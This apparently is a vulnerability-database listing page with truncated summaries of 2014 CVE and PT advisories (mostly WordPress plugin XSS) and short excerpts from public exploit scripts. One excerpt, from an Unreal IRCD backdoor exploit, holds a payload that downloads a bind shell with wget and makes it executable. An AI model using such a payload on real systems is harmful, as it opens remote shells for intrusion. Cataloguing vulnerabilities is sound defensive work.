CVE-2014-4845

Cross-site scripting XSS vulnerability in the BannerMan plugin 0.2.4 for WordPress allows remote attackers to inject arbitrary web script or HTML via the bannermanbackground parameter to wp-admin/options-general.php...

CVE-2014-4845: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the BannerMan plugin 0.2.4 for WordPress allows remote attackers to inject arbitrary web script or HTML via the bannermanbackground parameter to wp-admin/options-general.php...

PT-2014-6162

Name of the Vulnerable Software and Affected Versions Blogstand Banner plugin version 1.0 Description A cross-site scripting XSS issue allows remote attackers to inject arbitrary web script or HTML via the bs blog id parameter to "wp-admin/options-general.php". Recommendations For Blogstand Banne...

CVE-2014-4848: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the Blogstand Banner blogstand-smart-banner plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the bsblogid parameter to wp-admin/options-general.php...

PT-2014-6159

Name of the Vulnerable Software and Affected Versions BannerMan plugin version 0.2.4 Description A cross-site scripting issue allows remote attackers to inject arbitrary web script or HTML via the bannerman background parameter to "wp-admin/options-general.php". Recommendations For BannerMan plug...

CVE-2014-4723

Cross-site scripting XSS vulnerability in the Easy Banners plugin 1.4 for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter to wp-admin/options-general.php...

CVE-2014-4723: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the Easy Banners plugin 1.4 for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter to wp-admin/options-general.php...

PT-2014-6075

Name of the Vulnerable Software and Affected Versions Easy Banners plugin version 1.4 Description A cross-site scripting XSS issue allows remote attackers to inject arbitrary web script or HTML via the name parameter to "wp-admin/options-general.php". This enables attackers to execute malicious...

Wireshark v1.10.8 - The world’s foremost network protocol analyzer

Wireshark is the world’s foremost network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network. It is the de facto and often de jure standard across many industries and educational institutions. Wireshark development thrives thanks to the...

CVE-2014-4717

Multiple cross-site request forgery CSRF vulnerabilities in the Simple Share Buttons Adder plugin before 4.5 for WordPress allow remote attackers to hijack the authentication of administrators for requests that conduct cross-site scripting XSS attacks via the 1 ssbasharetext parameter in a save...

PT-2014-5579

Name of the Vulnerable Software and Affected Versions silex SX-2000WG devices with firmware prior to 1.5.4 Description The issue allows remote attackers to cause a denial of service, resulting in a connectivity outage. This is achieved by sending crafted data in the Options field of a TCP header...

CVE-2014-3889: Improper Input Validation

silex SX-2000WG devices with firmware before 1.5.4 allow remote attackers to cause a denial of service connectivity outage via crafted data in the Options field of a TCP header, a different vulnerability than CVE-2014-3890...

Bs Business_Directory Script SQL Injection/Auth Bypass Vulnerability

No description provided by source. 1 1 0 I'm Sid3^effects member from Inj3ct0r Team 1 1 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : Bs BusinessDirectory Script Sqli Vulnerability Date : july 5,2010 Critical Level : HIGH vendor URL...

Arab Portal 2.x - (forum.php qc) Remote SQL Injection Exploit

No description provided by source. ? / Arab Portal v2.x forum.php qc SQL Injection Exploit - Author : rEcruit - Mail : [email protected] - Download : http://arab-portal.net/download.php - Vuln in ./forum.php Line: 1503 code ifisset$apt-getqc &&!isset$apt-getqp $qc = $apt-getqc; $result =...

SAS Hotel Management System user_login.asp SQL Injection Vulnerability

No description provided by source. 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ 0 0 \ \ /\ /\ \ \ \ /\ \ \ /\ /\ \ \ \ \ \ \ / 1 1 \ \ \ \\ \ \ /\ \...

Unreal IRCD 3.2.8.1 - Remote Downloader/Execute Trojan

No description provided by source. !/usr/bin/perl Unreal3.2.8.1 Remote Downloader/Execute Trojan DO NOT DISTRIBUTE -PRIVATE- -iHaq 2l8 use Socket; use IO::Socket; Payload options my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x...

Abuse-SDL 0.7 Command-Line Argument Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/7982/info A buffer overflow vulnerability has been reported for Abuse-SDL that may result in the execution of attacker-supplied code. The vulnerability exists due to insufficient bounds checking performed on certain...

minitwitter 0.3-beta (sql/xss) Multiple Vulnerabilities

No description provided by source. || || || -----------------------------------------\ == -- ----------- ---------------------------- ------------------/ ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ¡PROUD TO BE SPANISH! ---------------------...

webSPELL <= 4.01.02 Multiple Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV3 print \n \'/ ; print \n -.- ; print \n -------------------oOO------OOo--------------------; print \n | webSPELL = v4.01.02 Multiple Remote SQL Injection |; print \n | coded by DNX |; print \n...

Static HTTP Server 1.0 - SEH Overflow

No description provided by source. !/usr/bin/env python import os TitleStatic HTTP Server SEH Overflow - HTTP Config - httptiplist Discovered and ReportedJune 2013 Discovered/Exploited ByJacob Holcomb/Gimppy, Security Analyst @ Independent Security Evaluators...